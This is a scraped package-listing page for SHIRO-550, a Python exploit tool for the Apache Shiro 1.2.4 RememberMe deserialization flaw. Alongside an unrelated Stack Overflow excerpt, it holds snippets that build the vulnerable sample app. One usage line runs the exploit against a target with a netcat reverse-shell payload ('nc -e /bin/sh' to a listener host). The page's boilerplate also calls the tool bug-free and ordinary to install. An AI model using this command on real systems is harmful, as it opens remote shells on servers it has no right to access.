SHIRO-550 | Shiro RememberMe 1.2.4 反序列化漏洞 | Security Framework library

by jas502n Python Version: 1.1.0 License: No License

X-Ray Key Features Code Snippets(3)Community Discussions(1)Vulnerabilities Install Support

kandi X-RAY | SHIRO-550 Summary

SHIRO-550 is a Python library typically used in Security, Security Framework applications. SHIRO-550 has no bugs, it has no vulnerabilities and it has low support. However SHIRO-550 build file is not available. You can download it from GitHub.

Shiro RememberMe 1.2.4 反序列化漏洞

Support

Quality

Security

License

Reuse

Support

SHIRO-550 has a low active ecosystem.

It has 46 star(s) with 19 fork(s). There are 2 watchers for this library.

It had no major release in the last 12 months.

There are 0 open issues and 1 have been closed. On average issues are closed in 5 days. There are no pull requests.

It has a neutral sentiment in the developer community.

The latest version of SHIRO-550 is 1.1.0

Quality

SHIRO-550 has 0 bugs and 0 code smells.

Security

SHIRO-550 has no vulnerabilities reported, and its dependent libraries have no vulnerabilities reported.

SHIRO-550 code analysis shows 0 unresolved vulnerabilities.

There are 0 security hotspots that need review.

License

SHIRO-550 does not have a standard license declared.

Check the repository for any license declaration and review the terms closely.

Without a license, all rights are reserved, and you cannot use the library in your applications.

Reuse

SHIRO-550 releases are available to install and integrate.

SHIRO-550 has no build file. You will be need to create the build yourself to build the component from source.

Installation instructions are not available. Examples and code snippets are available.

Top functions reviewed by kandi - BETA

kandi has reviewed SHIRO-550 and discovered the below as its top functions. This is intended to give you an instant insight into SHIRO-550 implemented functionality, and help decide if they suit your requirements.

Encodes a rememberme command
Send POC to Shiro

Get all kandi verified functions for this library.

SHIRO-550 Key Features

No Key Features are available at this moment for SHIRO-550.

SHIRO-550 Examples and Code Snippets

Shiro RememberMe 1.2.4 反序列化漏洞（SHIRO-550）,Reverse shell

Python

Lines of Code : 26

License : No License

Copy

python3 shiro_rce.py http://10.10.20.166:8080/samples-web-1.2.4/ "nc -e /bin/sh 192.168.5.86 9999"


   _____ _    _ _____ _____   ____         _____ _____  ___
  / ____| |  | |_   _|  __ \ / __ \       | ____| ____|/ _ \
 | (___ | |__| | | | | |__)

Shiro RememberMe 1.2.4 反序列化漏洞（SHIRO-550）,get for samples-web-1.2.4.war

Python

Lines of Code : 25

License : No License

Copy

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
mvn install

mvn -v
Apache Maven 3.6.2 (40f52333136460af0dc0d7232c0dc0bcf0d9e117; 2019-08-27T11:06:16-04:00)
Maven home: /opt/apache-maven-3.6.2
Java version: 1.8.0_

Shiro RememberMe 1.2.4 反序列化漏洞（SHIRO-550）,python usage:

Python

Lines of Code : 17

License : No License

Copy

python3 shiro_rce.py


   _____ _    _ _____ _____   ____         _____ _____  ___
  / ____| |  | |_   _|  __ \ / __ \       | ____| ____|/ _ \
 | (___ | |__| | | | | |__) | |  | |______| |__ | |__ | | | |
  \___ \|  __  | | | |  _  /| |  | |______|_

Community Discussions

Trending Discussions on Security Framework

How do I parse an x509 certificate and extract its key's signature algorithm?

QUESTION

How do I parse an x509 certificate and extract its key's signature algorithm?

Asked 2020-Apr-18 at 14:14

I have an x509 certificate as a file/byte array that I'd like to use to verify the signature provided in a CertificateVerify TLS message. I think I can use SecKeyVerifySignature once I've determined the certificate's key algorithm (SecKeyAlgorithm parameter) and initialized the signedData from the transcript hash (concatenated to the context string, etc.).

openssl x509 reports the certificate's key like

...

ANSWER

Answered 2020-Apr-18 at 14:14

I misunderstood my own goals.

The CertificateVerify message provides a digest of the handshake up to that point. The server uses its certificate's private key to perform that signature. As indicated in the TLS 1.3 specification, the signature algorithm is part of the CertificateVerify structure

Source https://stackoverflow.com/questions/61150265

Community Discussions, Code Snippets contain sources that include Stack Exchange Network

Vulnerabilities

No vulnerabilities reported

Install SHIRO-550

You can download it from GitHub.
You can use SHIRO-550 like any standard Python library. You will need to make sure that you have a development environment consisting of a Python distribution including header files, a compiler, pip, and git installed. Make sure that your pip, setuptools, and wheel are up to date. When using pip it is generally recommended to install packages in a virtual environment to avoid changes to the system.

Support

For any new features, suggestions and bugs create an issue on GitHub. If you have any questions check and ask questions on community page Stack Overflow .

Find more information at: